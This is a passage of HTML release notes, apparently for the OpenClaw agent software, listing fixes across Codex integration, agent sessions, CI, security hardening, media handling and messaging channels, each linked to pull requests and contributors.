<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, prefer trusted startup argv runtime fallback roots, reject stale CLI node runtimes, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, make release/plugin prerelease checks fail closed instead of hanging or false-greening, and use host-visible Crabbox local work roots for Docker-backed proof. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Windows daemon: keep Scheduled Task gateway launches running on battery power and avoid workgroup-machine prompts for a domain user during task installation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190592974" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59299/hovercard" href="https://github.com/openclaw/openclaw/issues/59299">#59299</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: fail Parallels npm-update smoke jobs after the guest command timeout and cleanup backstop instead of only logging a timeout line.</p>
</li>
<li>
<p>CI: bound kitchen-sink RPC HTTP probes so stalled gateway readiness or response bodies fail and retry instead of wedging the walker.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
